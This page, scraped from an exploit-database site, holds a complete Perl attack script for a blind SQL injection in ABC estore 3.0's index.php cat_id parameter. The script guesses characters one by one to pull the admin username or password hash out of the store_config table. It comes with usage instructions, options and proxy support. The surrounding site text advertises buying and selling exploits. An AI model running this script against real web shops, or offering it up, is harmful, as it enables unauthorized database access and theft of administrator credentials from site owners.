0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ABC estore 3.0 (cat_id) Remote Blind SQL Injection Exploit
========================================================== ABC estore 3.0 (cat_id) Remote Blind SQL Injection Exploit ========================================================== #!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print "\n |-------------------------------------------------|"; print "\n | newhack[dot]org |"; print "\n |-------------------------------------------------|"; print "\n | ABC estore 3.0 (cat_id) Blind SQL Injection |"; print "\n | Found by k1tk4t |"; print "\n |-------------------------------------------------|"; print "\n[!] Vendor: http://www.webtoolup.com/"; print "\n[!] Bug: in the index.php script, u can inject sql code in the (cat_id) parameter"; print "\n[!] Need Subcategories Product for success exploit"; print "\n[!] Usage: perl abcestore.pl [Host] [Path] <Options>"; print "\n[!] Example: perl abcestore.pl 127.0.0.1 /shop/ -c 10 -o 1 -t store_config"; print "\n[!] Options:"; print "\n -c [no] Valid cat_id products with subcategories, default is 1"; print "\n -o [no] 1 = get username (default)"; print "\n 2 = get password"; print "\n -t [name] Changes the admin table name, default is store_config"; print "\n -p [ip:port] Proxy support"; print "\n"; exit; } my $host = $ARGV[0]; my $path = $ARGV[1]; my $cat = 1; my $column = "user"; my $table = "store_config"; my %options = (); GetOptions(\%options, "c=i", "o=i", "t=s", "p=s"); print "[!] Exploiting...\n"; if($options{"c"}) { $cat = $options{"c"}; } if($options{"o"} && $options{"o"} == 2) { $column = "pass"; } if($options{"t"}) { $table = $options{"t"}; } syswrite(STDOUT, "[!] Data : ", 12); for(my $i = 1; $i <= 32; $i++) { my $found = 0; my $h = 48; while(!$found && $h <= 57) { if(istrue2($host, $path, $table, $i, $h)) { $found = 1; syswrite(STDOUT, chr($h), 1); } $h++; } if(!$found) { $h = 97; while(!$found && $h <= 122) { if(istrue2($host, $path, $table, $i, $h)) { $found = 1; syswrite(STDOUT, chr($h), 1); } $h++; } } } print "\n[!] Exploit done\n"; sub istrue2 { my $host = shift; my $path = shift; my $table = shift; my $i = shift; my $h = shift; my $ua = LWP::UserAgent->new; my $url = "http://".$host.$path."index.php?cat_id=".$cat."%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),".$i.",1)=CHAR(".$h.")"; if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); } my $response = $ua->get($url); my $content = $response->content; my $regexp = "Subcategories"; if($content =~ /$regexp/) { return 1; } else { return 0; } } # 0day.today [2024-07-08] #